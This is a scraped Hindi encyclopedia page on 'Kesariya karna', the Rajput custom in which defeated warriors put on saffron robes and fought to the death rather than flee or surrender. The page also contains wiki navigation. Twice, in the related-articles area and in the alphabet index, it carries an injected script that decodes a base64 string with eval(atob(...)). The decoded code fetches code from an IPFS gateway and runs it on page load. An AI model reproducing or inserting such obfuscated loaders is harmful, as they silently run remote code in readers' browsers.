एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

केसरिया करना  

केसरिया करना राजस्थान के राजपूत समाज में प्रचलित एक प्रथा थी।

  • राजपूत योद्धाओं द्वारा पराजय की स्थिति में पलायन करने या शत्रु के समक्ष आत्म-समर्पण करने की बजाय केसरिया वस्त्र धारण कर दुर्ग के द्वार पर भूखे शेर की भांति शत्रु पर टूट पड़ना व उन्हें मौत के घाट उतारते हुए स्वयं भी वीरगति को प्राप्त हो जाना केसरिया करना कहा जाता था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=केसरिया_करना&oldid=662973" से लिया गया